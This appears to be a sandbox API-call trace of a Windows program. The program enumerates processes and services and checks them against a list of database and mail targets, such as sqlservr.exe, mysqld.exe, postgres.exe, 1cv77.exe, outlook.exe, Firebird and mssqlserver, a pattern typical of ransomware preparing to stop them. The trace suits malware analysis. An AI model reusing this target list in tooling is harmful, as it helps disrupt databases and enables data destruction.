th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0136.915] lstrlenW (lpString="winlogon.exe") returned 12 [0136.915] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0136.915] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0136.915] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0136.915] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0136.915] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0136.915] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0136.915] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0136.915] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0136.916] lstrlenW (lpString="services.exe") returned 12 [0136.916] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0136.916] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0136.916] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0136.916] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0136.916] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0136.916] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0136.916] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0136.916] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0136.917] lstrlenW (lpString="lsass.exe") returned 9 [0136.917] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0136.917] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0136.917] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0136.917] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0136.917] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0136.917] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0136.917] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0136.917] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0136.917] lstrlenW (lpString="lsm.exe") returned 7 [0136.917] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0136.917] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0136.918] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0136.918] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0136.918] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0136.918] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0136.918] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0136.918] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.918] lstrlenW (lpString="svchost.exe") returned 11 [0136.918] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.918] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.918] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.918] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.918] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.918] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.918] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.918] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.919] lstrlenW (lpString="svchost.exe") returned 11 [0136.919] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.919] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.919] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.919] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.919] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.919] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.919] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.919] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.919] lstrlenW (lpString="svchost.exe") returned 11 [0136.919] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.919] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.920] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.920] lstrlenW (lpString="svchost.exe") returned 11 [0136.920] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.920] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.921] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.921] lstrlenW (lpString="svchost.exe") returned 11 [0136.921] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.921] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.921] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.921] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0136.922] lstrlenW (lpString="audiodg.exe") returned 11 [0136.922] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.922] lstrlenW (lpString="svchost.exe") returned 11 [0136.922] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.922] lstrlenW (lpString="svchost.exe") returned 11 [0136.922] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0136.923] lstrlenW (lpString="spoolsv.exe") returned 11 [0136.923] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0136.923] lstrlenW (lpString="taskhost.exe") returned 12 [0136.923] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.923] lstrlenW (lpString="svchost.exe") returned 11 [0136.924] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0136.924] lstrlenW (lpString="userinit.exe") returned 12 [0136.924] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0136.924] lstrlenW (lpString="dwm.exe") returned 7 [0136.924] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0136.925] lstrlenW (lpString="explorer.exe") returned 12 [0136.925] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0136.925] lstrlenW (lpString="3G6885.exe") returned 10 [0136.925] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0136.926] lstrlenW (lpString="reader_sl.exe") returned 13 [0136.926] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0136.927] lstrlenW (lpString="dllhost.exe") returned 11 [0136.927] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0136.927] CloseHandle (hObject=0x21c) returned 1 [0136.927] Sleep (dwMilliseconds=0x1f4) [0137.547] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d89c8 [0137.555] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0137.556] GetLastError () returned 0xea [0137.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc9a) returned 0x41d77b8 [0137.556] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xc9a, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0137.556] CloseServiceHandle (hSCObject=0x41d89c8) returned 1 [0137.557] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0137.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.557] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0137.557] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0137.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0137.557] lstrlenW (lpString="AudioSrv") returned 8 [0137.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0137.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0137.557] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0137.557] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0137.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0137.557] lstrlenW (lpString="BFE") returned 3 [0137.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0137.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0137.557] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0137.557] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0137.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0137.557] lstrlenW (lpString="CryptSvc") returned 8 [0137.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0137.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0137.557] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0137.557] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0137.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0137.557] lstrlenW (lpString="CscService") returned 10 [0137.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0137.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0137.557] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0137.557] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0137.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0137.558] lstrlenW (lpString="DcomLaunch") returned 10 [0137.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.558] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0137.558] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0137.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0137.558] lstrlenW (lpString="Dhcp") returned 4 [0137.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0137.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0137.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0137.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0137.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0137.558] lstrlenW (lpString="Dnscache") returned 8 [0137.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0137.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0137.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0137.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0137.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0137.559] lstrlenW (lpString="DPS") returned 3 [0137.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0137.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0137.559] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0137.559] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0137.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0137.559] lstrlenW (lpString="eventlog") returned 8 [0137.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0137.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0137.559] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0137.559] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0137.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0137.559] lstrlenW (lpString="EventSystem") returned 11 [0137.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0137.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0137.559] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0137.559] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0137.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0137.559] lstrlenW (lpString="gpsvc") returned 5 [0137.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0137.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0137.559] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0137.559] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0137.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0137.559] lstrlenW (lpString="LanmanWorkstation") returned 17 [0137.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.559] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0137.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0137.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0137.560] lstrlenW (lpString="lmhosts") returned 7 [0137.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0137.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0137.560] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0137.560] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0137.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0137.560] lstrlenW (lpString="MMCSS") returned 5 [0137.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0137.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0137.560] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0137.560] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0137.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0137.560] lstrlenW (lpString="MpsSvc") returned 6 [0137.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0137.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0137.560] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0137.560] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0137.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0137.560] lstrlenW (lpString="NlaSvc") returned 6 [0137.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0137.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0137.560] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0137.560] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0137.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0137.560] lstrlenW (lpString="nsi") returned 3 [0137.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0137.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0137.560] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0137.560] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0137.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0137.561] lstrlenW (lpString="PcaSvc") returned 6 [0137.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0137.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0137.561] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0137.561] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0137.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0137.561] lstrlenW (lpString="PlugPlay") returned 8 [0137.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0137.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0137.561] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0137.561] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0137.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0137.561] lstrlenW (lpString="Power") returned 5 [0137.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0137.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0137.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0137.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0137.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0137.561] lstrlenW (lpString="ProfSvc") returned 7 [0137.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0137.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0137.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0137.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0137.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0137.562] lstrlenW (lpString="RpcEptMapper") returned 12 [0137.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.562] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0137.562] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0137.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0137.562] lstrlenW (lpString="RpcSs") returned 5 [0137.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0137.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0137.562] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0137.562] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0137.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0137.562] lstrlenW (lpString="SamSs") returned 5 [0137.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0137.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0137.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0137.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0137.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0137.562] lstrlenW (lpString="Schedule") returned 8 [0137.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0137.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0137.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0137.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0137.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0137.562] lstrlenW (lpString="SENS") returned 4 [0137.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0137.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0137.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0137.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0137.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 